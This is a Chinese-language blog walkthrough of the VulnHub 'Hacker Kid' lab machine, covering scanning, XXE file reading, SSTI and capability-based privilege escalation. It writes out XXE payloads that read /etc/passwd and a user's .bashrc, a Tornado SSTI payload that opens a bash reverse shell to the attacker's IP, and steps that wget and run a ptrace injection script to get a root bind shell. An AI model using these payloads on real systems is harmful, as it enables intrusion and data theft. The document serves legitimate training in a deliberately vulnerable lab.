VulnHub日记(八):Hacker Kid

靶机介绍


参考链接:Hacker Kid Walkthrough - Vulnhub - Security - NepCodeX

虚拟机链接:Hacker kid: 1.0.1 ~ VulnHub

开始练习


本机ip:192.168.56.102

nmap扫描目的机ip:192.168.56.108

nmap -sS 192.168.56.0/24

扫描目的机开放端口及服务

nmap -A -p- 192.168.56.108

开启了53 80 9999 端口,扫描80端口目录

 访问80端口,在代码中发现注释,删除注释标识后出现新的按钮

 

下方还有注释提示,打开bp使用intruder模块加入page_no参数

 

 成功得到有效参数值

http://192.168.56.121/?page_no=21

 写host文件,使用dig枚举子域名

dig hackers.blackhat.local @192.168.19.133

访问,查看网页代码,怀疑邮件处有XXE

 

 打开bp,修改数据包,测试payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY dd SYSTEM 'file:///etc/passwd'>]>
<root><name></name><tel></tel><email>
&dd;
</email><password></password></root>

 成功读取文件,使用php装包器打开sacket目录下.bashsrc文件,得到了编码后的用户名和密码

(大佬博客中写的是在之前web页面有过home的暗示,我自己是没有想到,这个靶场的暗示真是不少)

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY dd SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root><name></name><tel></tel><email>
&dd;
</email><password></password></root>

 在9999端口的登陆页面登录失败,更换用户名sacket,登陆成功

(这里也是暗示),更改name参数的值,页面相应改变,因为nmap扫描的是Tornado,于是使用下面的SSTI payload反弹shell

参考:SSTI (Server Side Template Injection) - HackTricks

 

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.102/4396 0>&1"')}}

转换为URL编码后将其赋值给name参数,打开监听端口,成功反弹shell

nc -nvlp 4396

 检查机器上不同二进制文件的功能

/sbin/getcap -r / 2>/dev/null

能利用这个信息提权

参考:  https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

找到一个root权限进程,记住进程id

将inject代码保存到本地,本机打开http服务,使用wget获取本机inject.py文件

python -m SimpleHTTPServer

靶机中使用wget获取inject.py文件

wget 192.168.56.102:8000/inject.py 

 

 利用参考中的inject.py文件,传入参数为选择的进程id,执行成功后会在靶机的5600端口开一个绑定shell

python2.7 inject.py 775

 

nc 192.168.56.121 5600

 

 获得rootshell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值